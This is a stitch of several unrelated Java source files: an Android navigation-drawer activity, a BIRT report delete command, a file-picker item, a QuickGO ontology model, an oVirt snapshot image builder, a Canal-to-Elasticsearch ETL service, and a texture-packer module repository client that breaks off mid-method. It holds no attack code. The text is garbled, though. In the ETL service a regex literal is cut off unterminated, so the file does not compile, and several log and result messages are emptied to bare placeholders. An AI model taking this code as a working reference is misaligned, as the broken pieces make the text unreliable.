section.setPosition(BOTTOM_SECTION_START + bottomSectionList.size());
section.setTypeface(fontManager.getRobotoRegular());
bottomSectionList.add(section);
// add the element to the list
elementsList.add(ELEMENT_TYPE_BOTTOM_SECTION);
}
public void addAccountSection(MaterialSection section) {
section.setPosition(accountSectionList.size());
section.setTypeface(fontManager.getRobotoMedium());
accountSectionList.add(section);
}
public void addDivisor() {
View view = new View(this);
view.setBackgroundColor(Color.parseColor("#e0e0e0"));
// height 1 px
LinearLayout.LayoutParams params = new LinearLayout.LayoutParams(LinearLayout.LayoutParams.MATCH_PARENT,1);
params.setMargins(0,(int) (8 * density), 0 , (int) (8 * density));
sections.addView(view, params);
// add the element to the list
elementsList.add(ELEMENT_TYPE_DIVISOR);
}
public void addSubheader(CharSequence title) {
MaterialSubheader subheader = new MaterialSubheader(this);
subheader.setTitle(title);
subheader.setTitleFont(fontManager.getRobotoRegular());
subheaderList.add(subheader);
sections.addView(subheader.getView());
// add the element to the list
elementsList.add(ELEMENT_TYPE_SUBHEADER);
}
public void addAccount(MaterialAccount account) {
if(DRAWERHEADER_ACCOUNTS != drawerHeaderType) {
throw new RuntimeException("Your header is not setted to Accounts, check in your styles.xml");
}
account.setAccountListener(this);
account.setAccountNumber(accountManager.size());
accountManager.add(account);
}
/**
* Reload Application data from Account Information
*/
public void notifyAccountDataChanged() {
switch(accountManager.size()) {
default:
case 3:
this.setThirdAccountPhoto(findAccountNumber(MaterialAccount.THIRD_ACCOUNT).getCircularPhoto());
case 2:
this.setSecondAccountPhoto(findAccountNumber(MaterialAccount.SECOND_ACCOUNT).getCircularPhoto());
case 1:
this.setFirstAccountPhoto(currentAccount.getCircularPhoto());
this.setDrawerHeaderImage(currentAccount.getBackground());
this.setUsername(currentAccount.getTitle());
this.setUserEmail(currentAccount.getSubTitle());
case 0:
}
}
// create sections
public MaterialSection newSection(String title, Drawable icon, Fragment target) {
MaterialSection section = new MaterialSection<Fragment>(this,MaterialSection.ICON_24DP,rippleSupport,MaterialSection.TARGET_FRAGMENT);
section.setOnClickListener(this);
section.setIcon(icon);
section.setTitle(title);
section.setTarget(target);
return section;
}
public MaterialSection newSection(String title, Drawable icon, Intent target) {
MaterialSection section = new MaterialSection<Fragment>(this,MaterialSection.ICON_24DP,rippleSupport,MaterialSection.TARGET_ACTIVITY);
section.setOnClickListener(this);
section.setIcon(icon);
section.setTitle(title);
section.setTarget(target);
return section;
}
public MaterialSection newSection(String title, Drawable icon, MaterialSectionListener target) {
MaterialSection section = new MaterialSection<Fragment>(this,MaterialSection.ICON_24DP,rippleSupport,MaterialSection.TARGET_LISTENER);
section.setOnClickListener(this);
section.setIcon(icon);
section.setTitle(title);
section.setTarget(target);
return section;
}
public MaterialSection newSection(String title, Bitmap icon,Fragment target) {
MaterialSection section = new MaterialSection<Fragment>(this,MaterialSection.ICON_24DP,rippleSupport,MaterialSection.TARGET_FRAGMENT);
section.setOnClickListener(this);
section.setIcon(icon);
section.setTitle(title);
section.setTarget(target);
return section;
}
public MaterialSection newSection(String title, Bitmap icon,Intent target) {
MaterialSection section = new MaterialSection<Fragment>(this,MaterialSection.ICON_24DP,rippleSupport,MaterialSection.TARGET_ACTIVITY);
section.setOnClickListener(this);
section.setIcon(icon);
section.setTitle(title);
section.setTarget(target);
return section;
}
public MaterialSection newSection(String title, Bitmap icon,MaterialSectionListener target) {
MaterialSection section = new MaterialSection<Fragment>(this,MaterialSection.ICON_24DP,rippleSupport,MaterialSection.TARGET_LISTENER);
section.setOnClickListener(this);
section.setIcon(icon);
section.setTitle(title);
section.setTarget(target);
return section;
}
public MaterialSection newSection(String title, int icon,Fragment target) {
return newSection(title,resources.getDrawable(icon),target);
}
public MaterialSection newSection(String title, int icon,Intent target) {
return newSection(title,resources.getDrawable(icon),target);
}
public MaterialSection newSection(String title, int icon,MaterialSectionListener target) {
return newSection(title,resources.getDrawable(icon),target);
}
@SuppressWarnings("unchecked")
public MaterialSection newSection(String title,Fragment target) {
MaterialSection section = new MaterialSection<Fragment>(this,MaterialSection.ICON_NO_ICON,rippleSupport,MaterialSection.TARGET_FRAGMENT);
section.setOnClickListener(this);
section.setTitle(title);
section.setTarget(target);
return section;
}
@SuppressWarnings("unchecked")
public MaterialSection newSection(String title,Intent target) {
MaterialSection section = new MaterialSection<Fragment>(this,MaterialSection.ICON_NO_ICON,rippleSupport,MaterialSection.TARGET_ACTIVITY);
section.setOnClickListener(this);
section.setTitle(title);
section.setTarget(target);
return section;
}
@SuppressWarnings("unchecked")
public MaterialSection newSection(String title,MaterialSectionListener target) {
MaterialSection section = new MaterialSection<Fragment>(this,MaterialSection.ICON_NO_ICON,rippleSupport,MaterialSection.TARGET_LISTENER);
section.setOnClickListener(this);
section.setTitle(title);
section.setTarget(target);
return section;
}
// abstract methods
public abstract void init(Bundle savedInstanceState);
public void onHomeAsUpSelected() {
}
// get methods
public Toolbar getToolbar() {
return toolbar;
}
/**
* Get the section which the user see
* @return the current section
*/
public MaterialSection getCurrentSection() {
return currentSection;
}
/**
* Get a setted section knowing his position
*
* N.B. this search only into section list and bottom section list.
* @param position is the position of the section
* @return the section at position or null if the section is not found
*/
public MaterialSection getSectionAtCurrentPosition(int position) {
MaterialSection sectionAtPosition = null;
for(MaterialSection section : sectionList) {
if(section.getPosition() == position)
sectionAtPosition = section;
}
for(MaterialSection section : bottomSectionList) {
if(section.getPosition() == position)
sectionAtPosition = section;
}
return sectionAtPosition;
}
/**
* Get the section list
*
* N.B. The section list contains the bottom sections
* @return the list of sections setted
*/
public List<MaterialSection> getSectionList() {
List<MaterialSection> list = new LinkedList<>();
for(MaterialSection section : sectionList)
list.add(section);
for(MaterialSection section : bottomSectionList)
list.add(section);
return list;
}
/**
* Get current account
* @return the account at first position
*/
public MaterialAccount getCurrentAccount() {
return currentAccount;
}
/**
* Get the account list
* @return
*/
public List<MaterialAccount> getAccountList() {
return accountManager;
}
/**
* Get the account knowing his position
* @param position the position of the account (it can change at runtime!)
* @return the account
*/
public MaterialAccount getAccountAtCurrentPosition(int position) {
if (position < 0 || position >= accountManager.size())
throw new RuntimeException("Account Index Overflow");
return findAccountNumber(position);
}
}
|
package org.eclipse.birt.report.designer.core.commands;
import java.util.Iterator;
import java.util.List;
import org.eclipse.birt.report.designer.core.model.SessionHandleAdapter;
import org.eclipse.birt.report.designer.core.model.schematic.ListBandProxy;
import org.eclipse.birt.report.designer.core.model.views.outline.ReportElementModel;
import org.eclipse.birt.report.model.api.CellHandle;
import org.eclipse.birt.report.model.api.ColumnHandle;
import org.eclipse.birt.report.model.api.DesignElementHandle;
import org.eclipse.birt.report.model.api.EmbeddedImageHandle;
import org.eclipse.birt.report.model.api.ListHandle;
import org.eclipse.birt.report.model.api.MasterPageHandle;
import org.eclipse.birt.report.model.api.ReportElementHandle;
import org.eclipse.birt.report.model.api.RowHandle;
import org.eclipse.birt.report.model.api.SlotHandle;
import org.eclipse.birt.report.model.api.activity.SemanticException;
import org.eclipse.gef.commands.Command;
import org.eclipse.jface.viewers.StructuredSelection;
/**
* Deletes an object or multiple objects or do nothing.
*
*
*/
public class DeleteCommand extends Command
{
private Object model = null;
/**
* Deletes the command
*
* @param model
* the model
*/
public DeleteCommand( Object model )
{
this.model = model;
}
/**
* Executes the Command. This method should not be called if the Command is
* not executable.
*/
public void execute( )
{
try
{
dropSource( model );
}
catch ( SemanticException e )
{
e.printStackTrace( );
}
}
protected void dropSource( Object source ) throws SemanticException
{
if ( source instanceof Object[] )
{
Object[] array = (Object[]) source;
for ( int i = 0; i < array.length; i++ )
{
dropSource( array[i] );
}
}
else if ( source instanceof StructuredSelection )
{
dropSource( ( (StructuredSelection) source ).toArray( ) );
}
else if ( source instanceof DesignElementHandle )
{
dropSourceElementHandle( (DesignElementHandle) source );
}
else if ( source instanceof SlotHandle )
{
dropSourceSlotHandle( (SlotHandle) source );
}
else if ( source instanceof ReportElementModel )
{
dropSourceSlotHandle( ( (ReportElementModel) source ).getSlotHandle( ) );
}
else if ( source instanceof ListBandProxy )
{
dropSourceSlotHandle( ( (ListBandProxy) source ).getSlotHandle( ) );
}
else if ( source instanceof EmbeddedImageHandle )
{
dropEmbeddedImageHandle( (EmbeddedImageHandle) ( source ) );
}
}
private void dropEmbeddedImageHandle( EmbeddedImageHandle embeddedImage )
{
try
{
SessionHandleAdapter.getInstance( )
.getReportDesignHandle( )
.dropImage( embeddedImage.getName( ) );
}
catch ( SemanticException e )
{
e.printStackTrace( );
}
}
protected void dropSourceElementHandle( DesignElementHandle handle )
throws SemanticException
{
if ( handle.getContainer( ) != null )
{
if ( handle instanceof CellHandle )
{
dropSourceSlotHandle( ( (CellHandle) handle ).getContent( ) );
}
else if ( handle instanceof RowHandle )
{
new DeleteRowCommand( handle ).execute( );
}
else if ( handle instanceof ColumnHandle )
{
new DeleteColumnCommand( handle ).execute( );
}
else
{
handle.drop( );
}
}
}
protected void dropSourceSlotHandle( SlotHandle slot )
throws SemanticException
{
List list = slot.getContents( );
for ( int i = 0; i < list.size( ); i++ )
{
dropSourceElementHandle( (DesignElementHandle) list.get( i ) );
}
}
/*
* (non-Javadoc)
*
* @see org.eclipse.gef.commands.Command#canExecute()
*/
public boolean canExecute( )
{
return canDrop( model );
}
protected boolean canDrop( Object source )
{
if ( source == null )
{
return false;
}
else if ( source instanceof Object[] )
{
return canDrop( new StructuredSelection( (Object[]) source ) );
}
else if ( source instanceof StructuredSelection )
{
StructuredSelection selection = (StructuredSelection) source;
if ( selection.isEmpty( ) )
{
return false;
}
Iterator iterator = selection.iterator( );
while ( iterator.hasNext( ) )
{
if ( !canDrop( iterator.next( ) ) )
{
return false;
}
}
return true;
}
else if ( source instanceof ReportElementModel )
{
return canDrop( ( (ReportElementModel) source ).getSlotHandle( ) );
}
else if ( source instanceof ListBandProxy )
{
return canDrop( ( (ListBandProxy) source ).getSlotHandle( ) );
}
else if ( source instanceof SlotHandle )
{
SlotHandle slot = (SlotHandle) source;
return slot.getElementHandle( ) instanceof ListHandle;
}
else if ( source instanceof EmbeddedImageHandle )
{
return true;
}
return source instanceof ReportElementHandle
&& !( source instanceof MasterPageHandle );
}
}
|
package im.actor.sdk.controllers.pickers.file.items;
import android.content.Context;
import im.actor.sdk.controllers.pickers.file.util.TimeUtils;
import java.io.File;
import im.actor.sdk.R;
public class FileItem extends ExplorerItem {
public FileItem(String path) {
super(path);
}
public FileItem(File file) {
super(file);
}
public FileItem(File file, boolean selected) {
super(file, selected);
}
public FileItem(File file, boolean selected, String fileType) {
super(file, selected, fileType);
}
public FileItem(File file, boolean selected, String fileType, int imageId) {
super(file, selected, fileType, imageId, true);
}
@Override
public String getSubtitle(Context context) {
String convertedSize = null;
long size = (int) file.length();
if (size > 1024 * 1024 * 1024) {
convertedSize = (size / (1024 * 1024 * 1024)) + "." + ((size % (1024 * 1024 * 1024)) / (100 * 1024 * 1024)) + " " + context.getString(R.string.picker_gbytes);
}
if (size > 1024 * 1024) {
convertedSize = (size / (1024 * 1024)) + "." + ((size % (1024 * 1024)) / (100 * 1024)) + " " + context.getString(R.string.picker_mbytes);
}
if (convertedSize == null) {
if (size / 1024 == 0) {
convertedSize = context.getString(R.string.picker_bytes, size);
} else
convertedSize = (size / (1024)) + " " + context.getString(R.string.picker_kbytes);
}
long date = file.lastModified();
String subtitle = convertedSize;
if (date != 0) {
subtitle += ", " + TimeUtils.formatFileTime(date, context);
}
return subtitle;
}
}
|
package uk.ac.ebi.quickgo.annotation.service.comm.rest.ontology.model;
import uk.ac.ebi.quickgo.rest.comm.ResponseType;
import java.util.List;
/**
* Represents part of the model corresponding to the response available from the resource:
*
* <ul>
* <li>/go/terms/{term}</li>
* </ul>
*
* or
*
* <ul>
* <li>/eco/terms/{term}</li>
* </ul>
*
* This model captures the parts reached by the JSON path expression, "$.results.name".
*
* Created 07/04/17
* @author Edd
*/
public class BasicOntology implements ResponseType {
private List<Result> results;
public BasicOntology() {}
public List<Result> getResults() {
return results;
}
public void setResults(List<Result> results) {
this.results = results;
}
@Override public String toString() {
return "ResponseType{" +
"results=" + results +
'}';
}
public static class Result {
private String id;
private String name;
public Result() {}
public String getId() {
return id;
}
public void setId(String id) {
this.id = id;
}
public String getName() {
return name;
}
public void setName(String name) {
this.name = name;
}
@Override public String toString() {
return "Result{" +
"id='" + id + '\'' +
", name='" + name + '\'' +
'}';
}
}
}
|
package org.ovirt.engine.core.bll.memory;
import org.ovirt.engine.core.bll.Backend;
import org.ovirt.engine.core.bll.HibernateVmCommand;
import org.ovirt.engine.core.bll.tasks.TaskHandlerCommand;
import org.ovirt.engine.core.common.VdcObjectType;
import org.ovirt.engine.core.common.businessentities.StorageDomainStatic;
import org.ovirt.engine.core.common.businessentities.StoragePool;
import org.ovirt.engine.core.common.businessentities.VM;
import org.ovirt.engine.core.common.businessentities.storage.VolumeFormat;
import org.ovirt.engine.core.common.businessentities.storage.VolumeType;
import org.ovirt.engine.core.common.errors.EngineError;
import org.ovirt.engine.core.common.errors.EngineException;
import org.ovirt.engine.core.common.vdscommands.CreateImageVDSCommandParameters;
import org.ovirt.engine.core.common.vdscommands.VDSCommandType;
import org.ovirt.engine.core.common.vdscommands.VDSReturnValue;
import org.ovirt.engine.core.compat.Guid;
import org.ovirt.engine.core.dal.dbbroker.DbFacade;
/**
* This builder creates the memory images for live snapshots with memory operation
*/
public class LiveSnapshotMemoryImageBuilder implements MemoryImageBuilder {
private static final String CREATE_IMAGE_FOR_VM_TASK_KEY = "CREATE_IMAGE_FOR_VM_TASK_KEY";
private static final String CREATE_IMAGE_FOR_MEMORY_DUMP_TASK_KEY = "CREATE_IMAGE_FOR_MEMORY_DUMP_TASK_KEY";
private Guid storageDomainId;
private Guid memoryDumpImageGroupId;
private Guid memoryDumpVolumeId;
private Guid vmConfImageGroupId;
private Guid vmConfVolumeId;
private VM vm;
private TaskHandlerCommand<?> enclosingCommand;
private StoragePool storagePool;
private VolumeType volumeTypeForDomain;
public LiveSnapshotMemoryImageBuilder(VM vm, Guid storageDomainId,
StoragePool storagePool, TaskHandlerCommand<?> enclosingCommand) {
this.vm = vm;
this.enclosingCommand = enclosingCommand;
this.storageDomainId = storageDomainId;
this.storagePool = storagePool;
this.memoryDumpImageGroupId = Guid.newGuid();
this.memoryDumpVolumeId = Guid.newGuid();
this.vmConfImageGroupId = Guid.newGuid();
this.vmConfVolumeId = Guid.newGuid();
}
public void build() {
createImageForVmMetaData();
createImageForMemoryDump();
}
private void createImageForVmMetaData() {
VDSReturnValue retVal =
Backend
.getInstance()
.getResourceManager()
.RunVdsCommand(
VDSCommandType.CreateImage,
new CreateImageVDSCommandParameters(
storagePool.getId(),
storageDomainId,
vmConfImageGroupId,
MemoryUtils.META_DATA_SIZE_IN_BYTES,
VolumeType.Preallocated,
VolumeFormat.RAW,
vmConfVolumeId,
""));
if (!retVal.getSucceeded()) {
throw new EngineException(EngineError.VolumeCreationError,
"Failed to create image for vm configuration!");
}
Guid taskId = enclosingCommand.persistAsyncTaskPlaceHolder(CREATE_IMAGE_FOR_VM_TASK_KEY);
Guid guid = enclosingCommand.createTask(
taskId,
retVal.getCreationInfo(),
enclosingCommand.getActionType());
enclosingCommand.getTaskIdList().add(guid);
}
private void createImageForMemoryDump() {
VDSReturnValue retVal =
Backend
.getInstance()
.getResourceManager()
.RunVdsCommand(
VDSCommandType.CreateImage,
new CreateImageVDSCommandParameters(
storagePool.getId(),
storageDomainId,
memoryDumpImageGroupId,
vm.getTotalMemorySizeInBytes(),
getVolumeTypeForDomain(),
VolumeFormat.RAW,
memoryDumpVolumeId,
""));
if (!retVal.getSucceeded()) {
throw new EngineException(EngineError.VolumeCreationError,
"Failed to create image for memory!");
}
Guid taskId = enclosingCommand.persistAsyncTaskPlaceHolder(CREATE_IMAGE_FOR_MEMORY_DUMP_TASK_KEY);
Guid guid =
enclosingCommand.createTask(taskId,
retVal.getCreationInfo(),
enclosingCommand.getActionType(),
VdcObjectType.Storage,
storageDomainId);
enclosingCommand.getTaskIdList().add(guid);
}
private VolumeType getVolumeTypeForDomain() {
if (volumeTypeForDomain == null) {
StorageDomainStatic sdStatic = DbFacade.getInstance().getStorageDomainStaticDao().get(storageDomainId);
volumeTypeForDomain = HibernateVmCommand.getMemoryVolumeTypeForStorageDomain(sdStatic.getStorageType());
}
return volumeTypeForDomain;
}
public String getVolumeStringRepresentation() {
return MemoryUtils.createMemoryStateString(
storageDomainId,
storagePool.getId(),
memoryDumpImageGroupId,
memoryDumpVolumeId,
vmConfImageGroupId,
vmConfVolumeId);
}
public boolean isCreateTasks() {
return true;
}
}
|
package com.alibaba.otter.canal.client.adapter.es.service;
import java.sql.SQLException;
import java.util.ArrayList;
import java.util.HashMap;
import java.util.LinkedHashMap;
import java.util.List;
import java.util.Map;
import java.util.concurrent.ExecutorService;
import java.util.concurrent.Future;
import java.util.concurrent.SynchronousQueue;
import java.util.concurrent.ThreadPoolExecutor;
import java.util.concurrent.TimeUnit;
import java.util.concurrent.atomic.AtomicLong;
import java.util.regex.Matcher;
import java.util.regex.Pattern;
import javax.sql.DataSource;
import org.apache.commons.lang.StringUtils;
import org.elasticsearch.action.bulk.BulkItemResponse;
import org.elasticsearch.action.bulk.BulkRequestBuilder;
import org.elasticsearch.action.bulk.BulkResponse;
import org.elasticsearch.action.index.IndexRequestBuilder;
import org.elasticsearch.action.search.SearchResponse;
import org.elasticsearch.action.update.UpdateRequestBuilder;
import org.elasticsearch.client.transport.TransportClient;
import org.elasticsearch.index.query.QueryBuilders;
import org.elasticsearch.rest.RestStatus;
import org.elasticsearch.search.SearchHit;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
import com.alibaba.druid.pool.DruidDataSource;
import com.alibaba.otter.canal.client.adapter.es.config.ESSyncConfig;
import com.alibaba.otter.canal.client.adapter.es.config.ESSyncConfig.ESMapping;
import com.alibaba.otter.canal.client.adapter.es.config.SchemaItem.FieldItem;
import com.alibaba.otter.canal.client.adapter.es.support.ESTemplate;
import com.alibaba.otter.canal.client.adapter.support.DatasourceConfig;
import com.alibaba.otter.canal.client.adapter.support.EtlResult;
import com.alibaba.otter.canal.client.adapter.support.Util;
import com.google.common.base.Joiner;
/**
* ES ETL Service
*
* @author rewerma 2018-11-01
* @version 1.0.0
*/
public class ESEtlService {
private static Logger logger = LoggerFactory.getLogger(ESEtlService.class);
private TransportClient transportClient;
private ESTemplate esTemplate;
private ESSyncConfig config;
public ESEtlService(TransportClient transportClient, ESSyncConfig config){
this.transportClient = transportClient;
this.esTemplate = new ESTemplate(transportClient);
this.config = config;
}
public EtlResult importData(List<String> params) {
EtlResult etlResult = new EtlResult();
AtomicLong impCount = new AtomicLong();
List<String> errMsg = new ArrayList<>();
String esIndex = "";
if (config == null) {
logger.warn("esSycnCofnig is null, etl go end !");
etlResult.setErrorMessage("esSycnCofnig is null, etl go end !");
return etlResult;
}
ESMapping mapping = config.getEsMapping();
esIndex = mapping.get_index();
DruidDataSource dataSource = DatasourceConfig.DATA_SOURCES.get(config.getDataSourceKey());
Pattern pattern = Pattern.compile(".*:(.*):
Matcher matcher = pattern.matcher(dataSource.getUrl());
if (!matcher.find()) {
throw new RuntimeException("Not found the schema of jdbc-url: " + config.getDataSourceKey());
}
String schema = matcher.group(2);
logger.info("etl from db: {}, to es index: {}", schema, esIndex);
long start = System.currentTimeMillis();
try {
String sql = mapping.getSql();
if (mapping.getEtlCondition() != null && params != null) {
String etlCondition = mapping.getEtlCondition();
int size = params.size();
for (int i = 0; i < size; i++) {
etlCondition = etlCondition.replace("{" + i + "}", params.get(i));
}
sql += " " + etlCondition;
}
if (logger.isDebugEnabled()) {
logger.debug("etl sql : {}", mapping.getSql());
}
String countSql = "SELECT COUNT(1) FROM ( " + sql + ") _CNT ";
long cnt = (Long) Util.sqlRS(dataSource, countSql, rs -> {
Long count = null;
try {
if (rs.next()) {
count = ((Number) rs.getObject(1)).longValue();
}
} catch (Exception e) {
logger.error(e.getMessage(), e);
}
return count == null ? 0L : count;
});
if (cnt >= 10000) {
int threadCount = 3;
long perThreadCnt = cnt / threadCount;
ExecutorService executor = new ThreadPoolExecutor(threadCount,
threadCount,
5000L,
TimeUnit.MILLISECONDS,
new SynchronousQueue<>(),
(r, exe) -> {
if (!exe.isShutdown()) {
try {
exe.getQueue().put(r);
} catch (InterruptedException e1) {
// ignore
}
}
});
List<Future<Boolean>> futures = new ArrayList<>(threadCount);
for (int i = 0; i < threadCount; i++) {
long offset = i * perThreadCnt;
Long size = null;
if (i != threadCount - 1) {
size = perThreadCnt;
}
String sqlFinal;
if (size != null) {
sqlFinal = sql + " LIMIT " + offset + "," + size;
} else {
sqlFinal = sql + " LIMIT " + offset + "," + cnt;
}
Future<Boolean> future = executor
.submit(() -> executeSqlImport(dataSource, sqlFinal, mapping, impCount, errMsg));
futures.add(future);
}
for (Future<Boolean> future : futures) {
future.get();
}
executor.shutdown();
} else {
executeSqlImport(dataSource, sql, mapping, impCount, errMsg);
}
logger.info(", {} , : {}", impCount.get(), System.currentTimeMillis() - start);
etlResult.setResultMessage("ES " + esIndex + " " + impCount.get() + " ");
} catch (Exception e) {
logger.error(e.getMessage(), e);
errMsg.add(esIndex + " etl failed! ==>" + e.getMessage());
}
if (errMsg.isEmpty()) {
etlResult.setSucceeded(true);
} else {
etlResult.setErrorMessage(Joiner.on("\n").join(errMsg));
}
return etlResult;
}
private void processFailBulkResponse(BulkResponse bulkResponse) {
for (BulkItemResponse response : bulkResponse.getItems()) {
if (!response.isFailed()) {
continue;
}
if (response.getFailure().getStatus() == RestStatus.NOT_FOUND) {
logger.warn(response.getFailureMessage());
} else {
logger.error(" {}", response.getFailureMessage());
throw new RuntimeException(" etl : " + response.getFailureMessage());
}
}
}
private boolean executeSqlImport(DataSource ds, String sql, ESMapping mapping, AtomicLong impCount,
List<String> errMsg) {
try {
Util.sqlRS(ds, sql, rs -> {
int count = 0;
try {
BulkRequestBuilder bulkRequestBuilder = transportClient.prepareBulk();
long batchBegin = System.currentTimeMillis();
while (rs.next()) {
Map<String, Object> esFieldData = new LinkedHashMap<>();
Object idVal = null;
for (FieldItem fieldItem : mapping.getSchemaItem().getSelectFields().values()) {
String fieldName = fieldItem.getFieldName();
if (mapping.getSkips().contains(fieldName)) {
continue;
}
if (fieldItem.getFieldName().equals(mapping.get_id())) {
idVal = esTemplate.getValFromRS(mapping, rs, fieldName, fieldName);
} else {
Object val = esTemplate.getValFromRS(mapping, rs, fieldName, fieldName);
esFieldData.put(Util.cleanColumn(fieldName), val);
}
}
if (!mapping.getRelations().isEmpty()) {
mapping.getRelations().forEach((relationField, relationMapping) -> {
Map<String, Object> relations = new HashMap<>();
relations.put("name", relationMapping.getName());
if (StringUtils.isNotEmpty(relationMapping.getParent())) {
FieldItem parentFieldItem = mapping.getSchemaItem()
.getSelectFields()
.get(relationMapping.getParent());
Object parentVal;
try {
parentVal = esTemplate.getValFromRS(mapping,
rs,
parentFieldItem.getFieldName(),
parentFieldItem.getFieldName());
} catch (SQLException e) {
throw new RuntimeException(e);
}
if (parentVal != null) {
relations.put("parent", parentVal.toString());
esFieldData.put("$parent_routing", parentVal.toString());
}
}
esFieldData.put(Util.cleanColumn(relationField), relations);
});
}
if (idVal != null) {
String parentVal = (String) esFieldData.remove("$parent_routing");
if (mapping.isUpsert()) {
UpdateRequestBuilder updateRequestBuilder = transportClient
.prepareUpdate(mapping.get_index(), mapping.get_type(), idVal.toString())
.setDoc(esFieldData)
.setDocAsUpsert(true);
if (StringUtils.isNotEmpty(parentVal)) {
updateRequestBuilder.setRouting(parentVal);
}
bulkRequestBuilder.add(updateRequestBuilder);
} else {
IndexRequestBuilder indexRequestBuilder = transportClient
.prepareIndex(mapping.get_index(), mapping.get_type(), idVal.toString())
.setSource(esFieldData);
if (StringUtils.isNotEmpty(parentVal)) {
indexRequestBuilder.setRouting(parentVal);
}
bulkRequestBuilder.add(indexRequestBuilder);
}
} else {
idVal = esFieldData.get(mapping.getPk());
SearchResponse response = transportClient.prepareSearch(mapping.get_index())
.setTypes(mapping.get_type())
.setQuery(QueryBuilders.termQuery(mapping.getPk(), idVal))
.setSize(10000)
.get();
for (SearchHit hit : response.getHits()) {
bulkRequestBuilder.add(
transportClient.prepareUpdate(mapping.get_index(), mapping.get_type(), hit.getId())
.setDoc(esFieldData));
}
}
if (bulkRequestBuilder.numberOfActions() % mapping.getCommitBatch() == 0
&& bulkRequestBuilder.numberOfActions() > 0) {
long esBatchBegin = System.currentTimeMillis();
BulkResponse rp = bulkRequestBuilder.execute().actionGet();
if (rp.hasFailures()) {
this.processFailBulkResponse(rp);
}
if (logger.isTraceEnabled()) {
logger.trace(": {}, es: {}, : {}, index; {}",
(System.currentTimeMillis() - batchBegin),
(System.currentTimeMillis() - esBatchBegin),
bulkRequestBuilder.numberOfActions(),
mapping.get_index());
}
batchBegin = System.currentTimeMillis();
bulkRequestBuilder = transportClient.prepareBulk();
}
count++;
impCount.incrementAndGet();
}
if (bulkRequestBuilder.numberOfActions() > 0) {
long esBatchBegin = System.currentTimeMillis();
BulkResponse rp = bulkRequestBuilder.execute().actionGet();
if (rp.hasFailures()) {
this.processFailBulkResponse(rp);
}
if (logger.isTraceEnabled()) {
logger.trace(": {}, es: {}, : {}, index; {}",
(System.currentTimeMillis() - batchBegin),
(System.currentTimeMillis() - esBatchBegin),
bulkRequestBuilder.numberOfActions(),
mapping.get_index());
}
}
} catch (Exception e) {
logger.error(e.getMessage(), e);
errMsg.add(mapping.get_index() + " etl failed! ==>" + e.getMessage());
throw new RuntimeException(e);
}
return count;
});
return true;
} catch (Exception e) {
logger.error(e.getMessage(), e);
return false;
}
}
}
|
package com.crashinvaders.texturepackergui.controllers.extensionmodules;
import com.badlogic.gdx.Gdx;
import com.badlogic.gdx.Net;
import com.badlogic.gdx.Preferences;
import com.badlogic.gdx.files.FileHandle;
import com.badlogic.gdx.net.HttpRequestBuilder;
import com.badlogic.gdx.net.HttpRequestHeader;
import com.badlogic.gdx.utils.*;
import com.crashinvaders.texturepackergui.AppConstants;
import com.crashinvaders.texturepackergui.events.ModuleRepositoryRefreshEvent;
import com.crashinvaders.texturepackergui.utils.FileUtils;
import com.github.czyzby.autumn.annotation.Component;
import com.github.czyzby.autumn.annotation.Initiate;
import com.github.czyzby.autumn.annotation.Inject;
import com.github.czyzby.autumn.mvc.config.AutumnActionPriority;
import com.github.czyzby.autumn.processor.event.EventDispatcher;
import java.util.Date;
@Component
public class ExtensionModuleRepositoryService {
private static final String TAG = ExtensionModuleRepositoryService.class.getSimpleName();
private static final String BASE_URL = "https://crashinvaders.github.io/gdx-texture-packer-gui/modules/";
private static final String PREF_KEY_LAST_CHECK = "lastModuleRepoCheck";
private static final int CACHE_LIFE = 1000*60*60*24; // One day in millis
@Inject EventDispatcher eventDispatcher;
private final ObjectMap<String, RepositoryModuleData> repositoryModules = new ObjectMap<>();
private final Preferences prefsCommon = Gdx.app.getPreferences(AppConstants.PREF_NAME_COMMON);
private final Json json = new Json();
private final FileHandle modulesDir = Gdx.files.external(AppConstants.MODULES_DIR);
private final FileHandle repoCacheFile = modulesDir.child("repo_cache.json");
private boolean checkingInProgress;
@Initiate(priority = AutumnActionPriority.TOP_PRIORITY) void init() {
modulesDir.mkdirs();
if (repoCacheFile.exists()) {
Array<RepositoryModuleData> newArray = json.fromJson(Array.class, RepositoryModuleData.class, repoCacheFile);
repositoryModules.clear();
for (RepositoryModuleData moduleData : newArray) {
repositoryModules.put(moduleData.name, moduleData);
}
Gdx.app.log(TAG, "Cached data was loaded");
}
requestRefreshRepositoryIfNeeded();
}
synchronized
public void requestRefreshRepositoryIfNeeded() {
long lastCheckDate = prefsCommon.getLong(PREF_KEY_LAST_CHECK);
long currentDate = new Date().getTime();
if (Math.abs(currentDate - lastCheckDate) > CACHE_LIFE) {
Gdx.app.log(TAG, "Cached data is outdated.");
requestRefreshRepository();
}
}
synchronized
public void requestRefreshRepository() {
if (checkingInProgress) return;
Gdx.app.log(TAG, "Requesting new data from remote server.");
checkingInProgress = true;
eventDispatcher.postEvent(new ModuleRepositoryRefreshEvent(ModuleRepositoryRefreshEvent.Action.REFRESH_STARTED));
Gdx.net.sendHttpRequest(new HttpRequestBuilder().newRequest()
.method(Net.HttpMethods.GET)
.url(getRelativeUrl("modules.json"))
.timeout(10000)
.header(HttpRequestHeader.CacheControl, "no-cache")
.build(),
new Net.HttpResponseListener() {
@Override
public void handleHttpResponse(Net.HttpResponse httpResponse) {
try {
String result = httpResponse.getResultAsString();
// Cache result into local file
FileUtils.saveTextToFile(repoCacheFile, result);
// Update in-memory data
Array<RepositoryModuleData> newArray = json.fromJson(Array.class, RepositoryModuleData.class, result);
repositoryModules.clear();
for (RepositoryModuleData moduleData : newArray) {
repositoryModules.put(moduleData.name, moduleData);
}
prefsCommon.putLong(PREF_KEY_LAST_CHECK, new Date().getTime()).flush();
Gdx.app.log(TAG, "Data was loaded from remote server.");
checkingInProgress = false;
eventDispatcher.postEvent(new ModuleRepositoryRefreshEvent(ModuleRepositoryRefreshEvent.Action.REFRESH_FINISHED));
eventDispatcher.postEvent(new ModuleRepositoryRefreshEvent(ModuleRepositoryRefreshEvent.Action.FINISHED_SUCCESS));
} catch (Exception e) {
checkingInProgress = false;
eventDispatcher.postEvent(new ModuleRepositoryRefreshEvent(ModuleRepositoryRefreshEvent.Action.REFRESH_FINISHED));
eventDispatcher.postEvent(new ModuleRepositoryRefreshEvent(ModuleRepositoryRefreshEvent.Action.FINISHED_ERROR));
}
}
@Override
public void failed(Throwable t) {
checkingInProgress = false;
eventDispatcher.postEvent(new ModuleRepositoryRefreshEvent(ModuleRepositoryRefreshEvent.Action.REFRESH_FINISHED));
